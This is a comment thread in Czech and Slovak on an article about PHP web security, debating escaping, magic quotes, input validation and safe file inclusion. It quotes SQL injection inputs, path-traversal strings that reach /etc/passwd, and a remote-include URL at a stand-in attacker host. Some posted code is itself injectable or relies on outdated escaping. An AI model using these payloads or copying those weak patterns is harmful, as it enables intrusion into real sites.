"SELECT $_GET['what'] FROM users WHERE nick = `$_GET['nick']`;"
....
skript.php?what=name&id=nick`; DROP users;
-----
krome toho, ze misto ` by u _GET['nick'] mel autor pouzit ' (tedy apostrofy), si s jeho tvrzenim troufam dvojnasobne nesouhlasit.
1. v php.ini je defaultne zaple magic_quotes_qpc = 1. To znamena, ze veskere "nebezpecne" znaky v promennych od uzivatele (respektive z _GET, _POST a _COOKIE poli) jsou escapovany backslashem, takze misto autorem ocekavaneho
SELECT * FROM users WHERE nick = 'nick'; DROP users;
vznikne neskodne
SELECT * FROM users WHERE nick = 'nick\'; DROP users;'
navic, pokud je magic_quotes_gpc zaple a provedete autorem doporucovane mysql_real_escape_string, budete mit v databazi spoustu nadbytecnych stredniku.
dalsi vyhrada:
2. funkce mysql_query() odmitne provest vice nez jeden SQL dotaz, takze se bud provede jenom ten prvni (SELECT * FROM users WHERE nick='nick'), nebo bude vracena chyba a zadne data nezmizi.
Kazdopadne na dalsi pokracovani se tesim, hlavne na zrychleny vyvoj aplikaci :-)
A ja zase trvám na tom, že Vaša možnosť správna nie je. :-) Aj keď funguje. Ide o to, že keď index neuzavriete do apostrofov, tak PHP najprv hľadá konštantu s názvom nick, definovanú pomocou define(), a keď žiadnu nenájde, tak to vezme ako reťazec "nick". Myslím, že ak si zapnete zobrazovanie úplne všetkých chýb (E_ALL), tak to (myslím) zobrazí notice.
A schválne. Skúste si pred použitím spraviť:
define('nick', 'HelloWorld');
a potom vyskúšať, ako sa to prejaví vo Vašom reťazci. PHP ho vyhodnotí ako $_GET['HelloWorld'] a budete tam, kde ste nechceli byť. :)
Ne, opravdu není správná.
Pokud bych měl asi takovéhle pole:
$pole[‚1‘] = „Prvni hodnota“;
$pole[‚0‘] = „druha hodnota“;
// Tak by vysledky vypadaly asi nasledovne:
echo $pole[0]; // Prvni hodnota
echo $pole[‚0‘]; //Druha hodnota
echo $pole[1]; // Druha hodnota
echo $pole[‚1‘]; // Prvni hodnota
Takže očividně není jedno, jestli je to v úvozovkách nebo ne ;)
A preco by to podla teba neslo neslo? As far as I know, ak php parser narazi na taketo nieco:
$foo = BAR;
najskor skontroluje ci BAR nie je definovana konstanta. Kedze asi nie je (co prepokladame), PHP automaticky urobi konverziu a bude postupovat dalej, ako keby BAR bola definovana ako retazcova konstatna 'BAR' (viac info: http://sk2.php.net/manual/en/language.types.array.php#language.types.array.foo-bar -- "It works because PHP automatically converts a bare string (an unquoted string which does not correspond to any known symbol) into a string which contains the bare string. For instance, if there is no defined constant named bar, then PHP will substitute in the string 'bar' and use that."). Samozrejme, hovoriac o cistote programovania, toto urcite nie je bezpecny sposob, ale funguje!
Apropos, najinteligentnejsi sposob ako zapisat spominany query je pouzit operator . (bodka - spajanie retazcov):
mysql_query("SELECT xyz FROM zyx WHERE something LIKE '" . $_GET['somewhat']);
Este cosi. Neviem preco to nebolo v clanku spomenute, ale urcite nie je na skodu pouzivat funkcie AddSlashes (http://sk2.php.net/manual/en/function.addslashes.php) a StripSlashes (http://sk2.php.net/manual/en/function.stripslashes.php), takze este lepsie ako to co som napisal vyssie je:
mysql_query("SELECT xyz FROM zyx WHERE something LIKE '" . AddSlashes($_GET['somewhat']));
prave tohle je jedna z chyb, na kterou jsem upozornoval.. vetsina serveru ma magic_quotes_gpc, takze se addslashes provadi "samo od sebe" -> dalsim pouzitim vygenerujete hromadu nepotrebnych stredniku.. je pravda ze se na to neda spolehat, ale neni snad problem zkusit ini_get() nebo get_magic_quotes_gpc() (nejak tak se ta fce jmenuje..) a overit si to..
Nemozem suhlasit. Tym, ze sa bude pouzivat AddSlashes a StripSlashes sa nic nepokazi (samozrejme ak budu spravne pouzite = vsetky stringy co do DB vkladam AddSlashujem, vsetky co vyberam hned StripSlashujem). Magic quotes na tom nic nezmeni. Jedine co ti moze vadit je, ze to mozes mat zashlashovane dvakrat a aj o tom si nie celkom isty, ze to tak funguje. Ale aj keby, je to mizive percento dat, takze velkost sa ti nijak extremne nezmeni.
Znova opakujem, co moze programator osetrit sam, nech osetri a nespolieha sa na to, ze je to alebo hento zapnute, lebo admin zrazu upgraduje na verziu, kde to default zapnute nebude, alebo sa produkt preportuje na inu masinu, alebo dokonca platformu a potom vznikaju zbytocne problemy. Staci sa len naucit robit take veci a nezanedbavat ich, vsetko je to o zvyku. Stareho psa novym trikom len tazko naucis ;)
myslim ze jeho pohled na vec = TIMHLE ZPUSOBEM SE NEDA NIC POSRAT, AT JE SERVER NAKONFIGUROVANEJ JAKKOLI.
samo ze idealni by bylo do datovy vrstvy zakmochat automatickou detekci nastaveni nastaveni a automaticke (od)slashovani podle potreby, ale to nic nemeni na tom, ze predchozi zpusob je (alespon ze strany bezpecnosti) korektni. neefektivni, ale korektni.
V doporučené konfiguraci novjejsich php je magic_quotes_qpc vyple. Pro praktické použití se ani nevyplatí zapinat, protoze v 99% parametr jeste pred tim nez jej pouziju nejakym zpusobem zpracovavam (ruzne kontroly, converze) a pri tom zpetne lomitka jen zavazí. Já používám knihovnu pro praci s SQL ktera automaticky escapuje napriklad vkladana data.
1.)
Funkce require a include pouzivam opravdu podle toho, zda je beh aplikace na vlozenych souborech zavisly. Nicmene je vzdy dobre si svoji aplikaci odzkouset na "krizove" situace. Zkuste sve aplikaci smazat ruzne soubory, zkazit pristupove udaje do databaze, pokazit SQL, abyste vedeli, jak se bude vase aplikace v takovem pripade chovat. Mimo jine pak dokazete rychleji odhalovat pripadne chyby, nebo zkutecne katastrofy (napr. nedostatek mista na disku vedouci k nefunkcnosti SESSION promennych a prazdnym logum)
2.)
Neverit uzivatelum (a pred spanim si to opakovat). Nesmite si myslet ze jsou hloupi, ale ze jsou vsichni utocnici. Pokud se budete odkazovat na POST promenne zjednodusene (pomoci $promenna), pak vam je nekdo lehce prebije pomoci upravy URL. Nehlede k tomu ze dobri uzivatele klidne zmeni i POST promenne v HTTP pozadavku.
3.)
Volani SQL jsem obalil vlastnimi funkcemi, ktere kontroluji ze SQL prikaz nezacina na nebezpecne slovo (DELETE atd.). Pokud vim, ze potrebuju jen SELECT, volam jej pres tyto funkce.
4.)
Vsechno co jde, logovat. Lepe se odhaluji chyby.
Pred spanim radeji panaka, dobrou knizku, sex nebo cokoliv, jen ne programovat. Ja s tim prestal v okamziku kdy jsem se ve snu rebootoval a prozival paniku z nemoznosti pripojit se do site :-/ Jakmile prestanete ve spanku sam sebe povazovat za biologickou entitu a ztotoznovat se s problemy pocitace, rychle ubrat!
Normalni lomitka se ve Windows pouzivaji tak max. k uvadeni parametru pri spousteni aplikaci ;)
Uz jsem videl pripad, kdy se nekdo pokousel (v PHPku) spustit pres system() volani nejakou aplikaci v adresari pod windows a pouzival normalni lomitko... a divil se, proc mu to nejde.
O DIRECTORY_SEPARATOR jsem nevedel, zase jsem o neco chytrejsi :-)
O bezpečnosti při programování v PHP se stále mluví, ale ještě nikdo nenapsal článek, ve kterém by se této problematice podrobně věnoval. Proto tuto aktivitu víc než vítám, i když se někde vyskytne nějaká chyba, má to tu obrovskou výhodu že to v příspěvku někdo okomentuje a upozorní na možné problémy. Víc hlav víc ví a nikdo nemá celou problematiku zvládnutou na 100%. Jen tak dál...
:)
1. Magic quote nemusí být zapnutý. První zásada zní: Nekdy se nespoléhejte na něco, co nemůžete zcela ovlivnit. Na webhostingu někde na serveru daleko v USA těžko donutíte roota aby Vám magic quote zapnul, když on to nechce. Navíc ta funkce má velmi ošidné důsledky. Třeba ten, že nikdy přesně nevíto, co ten server za vás vymyslí.
2. Pro ty, co to s bezpečností myslí opravdu vážně doporučuju prostudovat si zásady Open Web Appliaction Security Projectu (www.owasp.org)
3. SQL a středník: Já bych si tímto tvrzením nebyl opravdu tak moc jistý. Vždycky se dá najít klička, jak nějaký příkaz "ošulit". A myslím, že těch kliček bude povíc. Typicky u MS SQL to bez jakýchkoliv problémů jde provést. Dokonce tak lze zakládat uložené procedůry, triggery a pod. Navíc jsou tu podstatně jiné - horší důsledky. Zkuste se zamyslet nad tím, co se staně, když použijete třeba --, nebo komentáře :o).
Mě se ten článek líbil, i když já bych jej docela dost doplnil.
Bezpečnost aplikací (kterou se zabývám jen asi 10 let) mne zkrátka nikdy nepřestane překvapovat....!
No me prave tohle pripada uplne mimo. Pokud cekam od uzivatele jako vstup cislo, nebudu preci vstup pretypovavat na int ale prozenu jej nejakym ereg() ci necim podobnym a pripadne vypisi chybu. Pokud vstup pretypuji na int (ci float), uz nikdy nezjistim, co tam vlastne bylo...
Dalsi vec ke ktere mam vyhradu je nezmineni funkci require_once a include_once, coz jsou funkce daleko uzitecnejsi, nez jen samotne require,include.
Autorovi preji hodne zdaru, osobne si myslim, ze v PHP nelze bezpecne programovat a nemusi to byt jen tim, ze programator je cune. Jazyk na to neni postaven (viz operatory =, ==, === - tohle ma snad jen php) a taky dost zalezi na verzi PHP, ktera bezi na serveru. Pokud chci neco bezpecneho, pouziji typove bezpecny jazyk (java), kde je uz na urovni jazyka jasne, co je int a co je String. PHP je jazyk skriptovaci, ne programovaci...
Bundik
No ona funkce is_integer() Vam zjisti, zda-li je promenna typu integer, coz ale nemusi byt vzdy to co potrebujete. Zkuste tento kod:
$n = "1";
echo "$n " . (is_integer($n) ? "je" : "neni") . " integer";
Pokud chcete zjistit, zda-li ve stringu mate cislo, nepomuze Vam to.
Bundik
Nenenene, ===================== neni pro uplne stejne, jenom pro ty, ktere jsou jen opravdu velice tezko rozeznatelne. Uplne stejne objekty jsou takove, ktere projdou =^n pro libovolne n, coz se obvykle zapisuje jako lim_{n->\infty}{=^n}
Pak definujeme miru podobnosti dvou objektu a, b jako nejvetsi n takove, ze plati a =^n b. Existuji pak operatory =< a =>, ktere porovnavaji podobnost dvou objektu.
:o)
Ja si myslim, ze to zavisi od kontextu cisla, ktore pouzivam. Napr. ak ocakavam ID (napr do databazy), o ktorom viem, ze je urcite vacsie ako nula, pretypovanie na int a kontrola na nulu je celkomm vhodna a dostacujuca:
if ((int) $nID > 0) {
// whatsoever ..
}
Navyse pretypovanie ma tu krasnu vlastnost, ze ak napriklad retazec '474boeing' po pretypovani bude cislo 474 (ale napr. '474boeaing4' bude tiez 474). Problem je v tom, ze premenne posielane GET-om alebo POST-om su interne prezentovane ako retazce, a az pri pouziti sa pripadne automaticky konvertuju na potrebne typy. Dolezita zasada cisteho a bezpecneho programovania je zriect sa lenivosti a drzat sa hesla: "co mozem ovplivnit sam, nenecham na automatiku a nebudem potom neprijemne prekvapeny ked si jedneho rana najdem prazdnu databazu" :) Takze pretypovanie ma urcite svoj zmysel.
Este poznamocka k pouzivaniu funkcii is_int() a is_numeric(): Funkcia is_int ocakava na vstupe integer, tj. prave tu je potrebna konverzia vstupneho parametru na integer. Funkcia nesluzi na to, aby zistovala ci je retazec cislo! Na to, naopak sluzi funkcia is_numeric, ktora "Finds whether a variable is a number or a numeric string". Dolezita poznamka k funkcii is_numeric(): Aj retazec '10.55' je cislo, takze funkcia vrati true! Ak chcete zistit, ci je premenna *CELE* cislo, musite tieto dve funkcie skombinovat:
if (is_numeric($nCislo) && is_int((int) $nCislo)) {
// whatsoever...
}
Pozrite si manual k tymto funkciam: http://sk2.php.net/manual/en/function.is-int.php a http://sk2.php.net/manual/en/function.is-numeric.php
Navyse, mam pocit, ze vznikol mylny dojem, ze napr. po:
if ((int)$nCislo > 0)
stratim obsah povodnej premennej (tj. ak v nej bolo napr. '485xyz', ze z nej zostane len 485). To samozrejme NIE JE PRAVDA, rovnako ako po:
$a = 4
if($a + 1 == 5)
nebude v $a 5, ale zostane tam 4! Musel by som vykonat priradenie, napr. takto:
$nCislo = (int) $nCislo;
Co som chcel tymto vsetkym povedat? Aha.. chcel som odpovedat na odkaz: ak ocakavam na vstupe cislo, pretypovanie nemoze predstavovat chybu! Skor by malo byt ziadane a imperativne! Nuz a samozrejme pouzivanie regularnych vyrazov na kontrolu ci nieco je alebo nie je cislo je dalsi nezmysel (najma ak existuju na to vstavane funkcie), pretoze je to strasne pomale (vseobecne plati, ze pokial sa mozno regexpom vyhnut, treba sa im vyhnut:)
"... Ak chcete zistit, ci je premenna *CELE* cislo, musite tieto dve funkcie skombinovat:
if (is_numeric($nCislo) && is_int((int) $nCislo)) {
// whatsoever...
}
... "
Bohužel, ale tímto to určitě nezjistíte. Výsledkem druhé části podmínky, tj. "is%_int((int) $nCislo)", bude vždy pravda. Jakákoliv proměnná (dokonce i pole) jí vyhoví, když z ní ten integer napřed uděláte. Takže vaše "whatsoever" se vykoná nejen pro vaše $nCislo = '10.55', ale i např. pro řetězec $nCislo = '-256.02e-7'.
To už by bylo lepší použít toto:
if (is_numeric($nCislo) && (int) $nCislo == $nCislo)
{
...
}
Nicméně této podmínce vyhoví i řetězec $nCislo = '256.00', ale kupodivu už ne '2.56e2', které je vlastně také stejné ;o)
Pokud trváme na tom, aby uživatel vložil *CELÉ* číslo, nezbyde nám stejně nic jiného (nic elegantnějšího), než v podmínce použít funkci
ereg('^[\+\-]?[0-9]+$', $nCislo)
případně
ereg('^[0-9]+$', $nCislo)
require_once a include_once se pouziva na zjisteni, jestli soubor byl nebo nebyl uz nacteny, je to dobre napriklad pro vkladani konstant ci funkci, napriklad:
require_once 'config.php';
nicmene pokud uvazuji, ze do kodu se vlozi obsah neceho zarucene jednou, neni duvod to jeste osetrovat funkci.
Velice snadno se Vam muze stat, ze pokud pracuje na projektu vice lidi, dojde ke vlozeni jednoho souboru vicekrat (napr. zminovany config.php v pripade 'modulu'). 'require_*' Vam prave _zaruci_ to, ze soubor se vlozi jen jednou, poprve a nemusite nic kontrolovat, predpokladat ci spolehat na kolegy.
Bundik
Není pravda. Např. já používám třídu, která zapouzdřuje rozhraní MySQL. Je deklarována v externím souboru a ten once-requireuju do souborů s deklaracemi jiných tříd, které tu MySQL třídu využívají. Nemám pak problémy, když se mi v jednom souboru seběhnout requiry několika takových tříd. Špatný návrh by byl, kdybych musel při require jedné třídy myslet na to, že mám natáhnout i třídu MySQL.
BTW Vždyť i C header soubory mají konstrukci #ifndef _STDIO_H #define _STDIO_H ...
kdyz uz se autor pozastavil nad rozdilem mezi pouzitim jednoduchych a dvojitych uvozovek v souvislosti s narocnosti na aplikaci tak by taky mel podle me zminit i rozil mezi pouzitim "xxx $xxx" a 'xxx '.$xxx, ktery je podle mne dostupnych informaci mnohem vetsi nez rozdil mezi pouzitim jednoduchych a dvojitich uvozovek na "holy" text
Rozdiel je hlavne v tom, ze string v dvojitych uvodzovkach PHP parsuje, zatial co retazec v apostrofoch nie:
$sTest = 'test';
echo "Toto je $sTest"; // Vypise: Toto je test
echo 'Toto je $sTest'; // Vypise: Toto je $sTest
// Treba pouzit:
echo 'Toto je ' . $sTest; // Vypise: Toto je test
Takze hlavny rozdiel je v rychlosti, pretoze PHP netusi, ze v dvojitych uvodzovkach nie je ziadna premenna, musi to preparsovat tak ci onak, aj ked si myslim, ze pri beznych projektoch je tento rozdiel zanedbatelny, ale pri castom generovani rozsiahlych stranok na frekventovanych strankach sa moze nezanedbatelne podielat na rychlosti, ci skor pomalosti stranok.
Navyse, ak pouzivam text, v ktorom je priamo zakomponovana premenna je potencialne nebezpecne (vid rozne queries do databazy, ktore sa bezne pisu: "SELECT xyz FROM zyx WHERE something LIKE '$somewhat'" -- vyssie je o tom cela diskusia:) Pouzivanie operatora . (bodka - spajanie retazcov) nas (aspon mna:) navadza k analyzovaniu toho, co prave pisem a lahsiemu zabezpeceniu potencialnych dier (napr. aplikovanim funkcii na danu premennu).
PHP pro experty: bezpečnost
Bezpečnost je především o přesnosti ;). Když v pravislech na FW udělam překlep, tak se mi to krutě vymstí...
A když programuje expert, tak si to po sobě taky kontroluje (a nebo nechybuje)
Ale na 2. stranu je fakt, že jsem nevěděl o skrývání přípon. Takže něco jsem si přece z článku odnesl.
"A když programuje expert, tak si to po sobě taky kontroluje (a nebo nechybuje)"
Nejsem si zdaleka jist nakolik je psani skriptu v PHP "programovani" a uz vubec si nejsem jist tim od jake faze dal se jeden muze povazovat za experta. Nicmene jsem si (za ubohych 15 let programovani) jist tim, ze neexistuje programator ktery nechybuje a ze zadna kontrola neni 100%. Me spis jenom zarazi, ze ti tak nejak neodslo, ze ten kus skriptu se nedostal do clanku cut & pastem, ale autor ho tam psal rucne. Zkus sam napsat par clanku (napriklad o tom kterak hacknout xchat) a pak si dole v komentarich pod textem povime.
Tak nějak jsem nikdy neměl pocit, že mám něco napsat. A když ano, tak jsem se podíval jestli to už nenapsal někdo předemnou. Když ano, tak proč to psát. tolik asi k mé tvorbě.
No a pak by mě zajímalo, proč sem pleteš xchat a oběvování jeho nedostatků? Xchat je opravdu podkladem pro tvrzení: "... neexistuje programator ktery nechybuje a ze zadna kontrola neni 100%." Programování a testování kódu je u něho prováděno tak trošku prapodivně. Pokud myslíš, že ne, tak proč jsou jeho fragmenty roztroušeny na Internetu? :))))
programovani neni o jazyku, ani o matice, jak tvrdi "experti" (i kdyz maji nakrasne "ubohych 15 let zkusenosti", hlavne zadnou falesnou skromnost).
je o algoritmizaci. a stejne tak jako muzes udelat "skript" v cecku (programek na urovni skriptu), tak muzes ve skriptovacim jazyce napsat husty program - viz napr dolovani informaci z exchange a jejich nasledne zpracovani, to cele v javascriptu, kterym zase nejaky frajer opovrhoval vyse. netvrdim, ze by to v nicem jinem udelat neslo, ani ze javascript byl nejvhodnejsi, ale evidentne na to stacil, beha to bez problemu a to je vsechno, co se od nej vyzaduje. a nas admin je stastnej jak blecha, ze mu na to stacil textovej editor, nepotrebuje to rekompilovat po zmene a HLAVNE ze to chodi.
takze co ma delat "opravdovy programator" ?
jen proto, ze php je jen "zasranej skriptovaci jazyk" se vrhnout do vyroby CGI aplikace, pokud mozno v assembleru, a pro jednoduchy proparsovani souboru s logama a jejich nacpani do DB si misto 20radkovyho perlovyho skriptu napise 150 radkovej "program" v cecku ?
takze - jako obvykle - je to o programatorech a "programatorech" ;-)))
jako spravce systemu musim dost casto uzivatelum/programatorum v PHP vysvetlovat, proc mam trosku restriktivneji nakonfigurovane php.ini a proc jim nebezi skripty na Unixovem web serveru, ktere si vyvinuli doma na Windowsech.
Pokracujte, je to rozsahla problematika a tezko ji popsat celou v jednom clanku. Preji hodne trpelivosti tesim se na pekne priklady.
autor sa vyzna, horli tu za pouzivanie apostrofov miesto uvodzoviek v stringoch, ale to, ze pouziva ultrapomale ereg_* miesto preg_* ho prilis nepali. nabuduce este uvedte, ze prilis vela enterov vyrazne spomaluje vykonavanie kodu, takze vsetko treba pisat do jedneho riadku, aby to bolo rychlejsie ;-P
Ja nevim, ale ja to resim uz nekolik let takhle:
$page = $_GET['page'];
require('./inc/header.php');
if (file_exists('./pages/'.$page.'.pripona')) {
require('./pages/'.$page.'.pripona');
}else {
echo 'Nenalezeno!';
}
require('./inc/footer.php');
Je to asi nejbezpecnejsi co znam. Kdyby se nahodou ty includovane stranky tahaly uplne s jine cesty, tak pouzit nejlepe absolutni cestu.
Pokud de o ty SQL-Injections, tak tak prohat to pres Str_Replace a nahradit klasicky apostrof za dva apostrofy.
K zasmani je to nahrazovani pripony php napr. priponou html. Stejne se clovek, ktery nam to chce nabourat, podiva do hlavicek co se vraceji od serveru. Tam identfikuje, ze tam bezi phpka (hned i verzi). Hlavne nejnapadnejsi je to u cest typu /cesta/stranky.html?parametr1=hodnota¶metr2=hodnota...
Arcao
a co kdyz $_GET['page'] obsahuje neco jako '../../../inc/cfg' ? trochu se chranite tou priponou ale stejne :)
nejbezpecnejsi je IMHO:
switch($_GET['page']){
case 'kkk': include 'kkk.php'; break;
case 'bbb': include 'bbb.php'; break;
}
a v pripade vetsiho mnozstvi to nacpat do db a neicludovat :)
Toto je spravne riesenie, enem neni pro lenivych! Este lepsie by to vsak bolo cez cisla, napr:
switch($_GET['page_id']) {
case 1:
include './abc.php';
break;
case 2:
include './xyz.php';
break;
// ATD, ale hlavne nezabudnut na:
default:
include './main-or-error.php';
break;
}
Pri rozsiahlejsich weboch, samozrejme riesit cez databazu, ale zasada je, ze by mala byt minimalna suvislost medzi menom inkludovaneho suboru a parametrom, pomocou ktoreho sa dostaneme k inkludovaniu daneho suboru (najma ak nechceme, aby niektore subory mohol bezny clovek vidiet, ze ano -- amateur-like admin modules a podobne).
"mala byt minimalna suvislost medzi menom inkludovaneho suboru a parametrom"
stastny to clovek, na ktereho netlaci zadni SEO specialisti :)
leda ze by to bylo:
switch ($_GET['par']) {
case "klicove_slovo": include "1.php"; break;
case "klicove_slovo2": include "nazev.php"; break;
}
:)
> Toto je spravne riesenie, enem neni pro lenivych!
A sakra, tak teď mě to dostalo - nikdy jsem nic jiného nepoužíval (metoda v článku mi přišla poněkud prapodivná, proč dělat ereg a jiné psí kusy, když mohu přímo porovnat, zda to má požadovanou hodnotu?), ale měl jsem za to, že lenivej jsem teda pořádně :-)
Skryvani pripony svuj smysl v nekterych pripadech urcite ma. Pokud se mi nekdo bude chtit nabourat do serveru a jako spravce jsem jiz natolik "schopen", ze umim schovat priponu, tak si taky jiste budu schopen odstranit hlavicky z HTTP response. Pak me nebude trapit ani to, zda server ma cesty ve formatu /cesta/stranky.html?parametr1=hodnota¶metr2=hodnota,
protoze web-aplikace, to neni jen PHP. Z takoveto cesty nezjisti nic - maximalne to, ze to je script, ale v jakem jazyce, to nepozna (pozor ale na chybove vypisy, protoze z tech pozna daleko vic)
Co tohle:
___________________
if (isset($_GET["zobraz"]))
{$soubor="adresar/".$_GET["zobraz"].".php";
if (File_Exists ($soubor)) {include ($soubor);}
else include ('adresar/chyba.php');}
else {include ("adresar/uvodni_strana.php");}
___________________
Čili co nebude v tom "adresar" se nevloží a šmitec. Ať mu dáte do URL cokoliv, bude pořád opakovat svou. Dá se to nějak obejít?
A k těm dvojitým uvozovkám: skutečně je to natoli zpomalující?
Rád uznám, že se mýlím, ale přecejen bych raději viděl nějaký konkrétní důkaz, nikoli jen prohlášení. Navíc jestli jde jen o odstranění znaků "../", tak se to dá celkem lehce zařídit a nemusí se to kontrolovat proti nějakému poli, kam bych ty povolené stringy musel při každé nové stránce vkládat.
A co takhle zatocit s relativnimi cestami jednoduse ...:
if (isset($_GET["zobraz"]))
{
$soubor=$_GET["zobraz"];
if($soubor_temp=strrchr($soubor,"/")) $soubor=$soubor_temp;
$soubor="adresar/".$soubor.".php";
if (File_Exists ($soubor)) {include ($soubor);}
else include ('adresar/chyba.php');}
else {include ("adresar/uvodni_strana.php");}
Ja pouzivam toto, myslim ze to je bezpecnejsi:
switch($_REQUEST['go']) {
case 'ukaz' :
include 'modules/ukaz.php';
break;
case 'diskuze' :
include 'modules/diskuze.php';
break;
...
default :
include 'modules/404.php';
};
samozrejme se to neda pouzit tam kde by tech case bylo mnoho. Ja mam svuj system postaveny tak ze napriklad jednim modulem ukaz.php zobrazim jakykoliv zobrazitelny objekt v db (obrazek, clanek, kategorii, ...)
Co se tyka SQL injection pouziti
query('SELECT '.odstran_nebezpecne_znaky($_GET['neco']).' FROM ...
je spatne. takto naprimo se daji vkladat mozna hodnoty (texty, cisla) escapovane a v uvozovkach. Pokud ma uzivatel zadat "kus SQL kodu" tak bych pouzil spis tohle
$order_by_codes = array(
'datum' => 'datum DESC',
'jmeno' => 'jmeno ASC',
);
if (isset($order_by_codes[$_GET['tridit']])) {
$order_by_code = $order_by_codes[$_GET['tridit']];
} else { // vychozi trideni
$order_by_code = $order_by_codes['datum'];
};
query('SELECT id, jmeno, datum FROM tabulka ORDER BY '.$order_by_code);
Takto mam zaruceno ze se na konec dotazu muze dostat jedine 'datum DESC' nebo 'jmeno ASC' a nic jineho. Bezpecnejsi je to hlavne z toho duvodu ze se do dotazu NEDOSTANE TO CO UZIVATEL ZADAL, treba i "odzbrojene", ale jen to CO JE V KODU.
Já jsem začal používat pomoci regulerních výrazů, takže to dělám takto:
$subj=$_GET['subj'];
if(ereg('^(news|products|contacts)$',$subj))
require_once $subj.'.php';
else
require_once 'firspage.php';
Ale pravdou je že tento přístup už je minulostí a subject si nepředávám jako parametr url, ale se odkazuju na stránky. Díky autorovi tohoto článku jsem byl naveden na Smarty, které mi hoooodně práce ušetří.
Haluz haluz a este raz haluz! Ludia, regexpy su na to aby ste z textu vyparsovali emailove adresy, URLs a podobne a nie na to, aby sa nimi testovali kdejake hodnoty! Preco? Pomale a neprehladne! Navyse ked existuju vstavane funkcie na pracu s textom (napr.: http://sk2.php.net/manual/en/function.strstr.php), ktore su na tento pripad ovela vhodnejsie.
Mne to pride, ze niekto sa naucil pouzivat regexpy a zacal ich pouzivat vsade kde sa da! :-\
PAMATAJTE: regexpy su mocny nastroj, tak ho treba pouzit tam kde treba mocny nastroj! Na pokosenie zahradky pred domom tiez nepouzijete kombajn!
Tema clanku se mi libi a je dobre, ze se nekdo rozhodl venovat tomuto tematu.
Pokud se autor dopustil nekolika drobnych nepresnosti, urcite to nevadi a hlavni je, ze _jednoduchym_ a srozumitelnym zpusobem ukazuje _princip_ problemu a jejich reseni.
Poznamky typu "me to pri tehle konfiguraci problem nedela" jsou irelevantni, protoze nekomu pri jine konfiguraci to problem delat bude a tema resime obecne.
Stejne tak priklady vyjadruji podstatu takoveho utoku a mohli bychom snadno nalezt servery a situace, kde takoveto utoky chodit budou a je treba se branit.
I kdyz nekomu prijdou urcite veci samozrejme, osveta v oblasti bezpecnosti je stale potreba a kazde vylepseni se pocita.
-
Doplnky k prikladum:
"SELECT $_GET[what] FROM users WHERE uid=$_GET[uid];"
ktery lze napadnout volanim "skript.php?uid=10;DELETE FROM users"
pokud neprovede programator prevod uid na cislo (a vyhneme se diskutovanemu problemu uvozovek u retezcove promenne :-).
Zda promenna (GET/POST) obsahuje cislo, muzeme take testovat funkci is_numeric, chceme-li se vyhnout regularnim vyrazum.
Jsem zvedavy na dalsi dil :-)
a) napadne velky kus clanku pise to same, co pravi PHP manual, mam na mysli predevsim SQL injections.
b) SQL injections a "osaleni" prvniho skriptu pres neco.php?page=/etc/passwd neni problem PHP, ale programatora; to same se prece da napsat i jako CGI v C/C++, Perlu,... a dokonce i v ASP ;-)
btw, bylo by dobre pohovorit i o XSS, tedy neco.php?page=http://muj.server/hackovaci-kod
c) kradeni vysledku MySQL - a jak muze _uzivatel_ (=browser) zobrazit obsah PHP promenne v programu bezicim na serveru?
d) bavime-li se o optimalizaci, tak je lepsi pouzivat ++$promenna; nez $promenna++;
(Zend optimizer Technical FAQ: One of the simpler optimizations that the Zend Optimizer does is to change post-incrementing to pre-incrementing, where possible, since preincrementing is the faster operation of the two.)
e) zamaskovani PHP - mno nevim, jaky to ma smysl, user stejne pozna, ze tam "neco" bezi podle URL obsahujici "?". leda, ze by byla dira v mod_php umoznujici DoS :-)
f) pardon, ale MS Access je nejvhodnejsi pro spojeni s PHP??? nonono...
g) jako skody (teda krome vetsiho mnozstvi prenesenych dat) zpusobi SELECT bez LIMITu?
ad b) XSS = CSS = Cross Site Scripting. To o cem mluvite se jemnuje Remote Code Execution/Remote Code Include. XSS se tyka ciste podstrceni nejakeho client side skriptovaciho kodu jednim userem browsicim server/webaplikaci nekomu jinemu, kdo ony stranky (nejlepe pak nezavisle) take browsi. V takovem pripade jde vetsinou pri nejhorsim o kradeze auth cookies a pod.
ad c) Pokud se napr. nazev vypisovane promenne prenasi s ostatnimy parametry (videl jsem i to), pak jeho modifikaci.
ad g) Pouzival jste nekdy profiler?
K tomu requiru/includu - souhlasim, ze by asi melo byt zmineno co jste uvedl. PHP ma defaultne povoleno jak u includu tak u requiru otevirani vzdalenych souboru, takze daleko nebezpecnejsi nez cteni lokalnich souboru je spusteni vlastniho kodu (napr. pres neco.php?page=http://muj.server/hackovaci-kod), ktery si tam uz muze delat cokoliv v ramci prav apache. Takze pristup do databaze, prohlizeni zdrojaku apod.
Nechci predbihat, treba to bude v dalsich dilech. Taky podstrkavani $_SESSION promennych pri startu session je celkem zajimava vec.
Jinak clanek a motivaci k celemu serialu hodnotim kladne a doufam, ze problematika bude probrana dostatecne do hloubky, aby se pripadne i zkusenejsi PHP programator dozvedel neco noveho.
a) Ano, protože PHP manuál je berná mince, co je tam je dobře.
b) no to samé se ale nedá napsat v Javě ;-) PHP je řekněme sráženo jen Javou, která je v bezpečnosti z principu na tom lépe
c) může, u složitějších skriptů se dají nalézt takové konstrukce
d) tohle není častý problém, většina "programátorů" v php ani neví, že inkrementace existuje, apokud jo, tu před ta už vůbec není moc známá
e) neví co tam běží, tohle doporučuje sám Zend
f) existuje hodně důvodů, proč právě MS Access
g) vetsi zatizeni databaze
Článek obsahuje hodně nepřesností, mám pocit, že páchá víc škody, než užitku.
magic_quotes_gpc již bylo probráno dostatečně.
Není pravda, že dvojité uvozovky jsou pomalejší než jednoduché. "ahoj" a 'ahoj' by mělo být zpracováno stejně rychle. Jediné, co dvojité uvozovky zpomalí, je expanze.
Základem psaní bezpečného skriptu je nastavit E_ALL, tzn. i s E_NOTICE, což je implicitně vyřazeno. Druhou základní věcí je explicitně inicializovat proměnné, tedy nepoužívat neinicializované proměnné. Ostatně na to vás E_NOTICE upozorní. Na většině hostinzích je stále register_globals on a tohle je vynikající obrana před podvržením hodnoty z vnějšku.
Pokud chci větší výkon, tak se rozhodně nehoním za uvozovkami, ale raději promyslím návrh algoritmu, nepoužívám funkce, které se jeví jako jednoduché a přitom jsou naopak časově náročné (např. regex fce), rozmyslím, jak se budu ptát db, atp.
Než předávat filename jako parametr, je lepší použít nějaký vnitřní id, které přemapovává jen na povolené hodnoty filename.
A to by snad stačilo. ;-)
Taky mi prijde divne u SKRIPTOVACIHO jazyka uvazovat nad optimalizacemi, ktere bych zvazoval snad na urovni asm/C (par tiku sem a tam)...
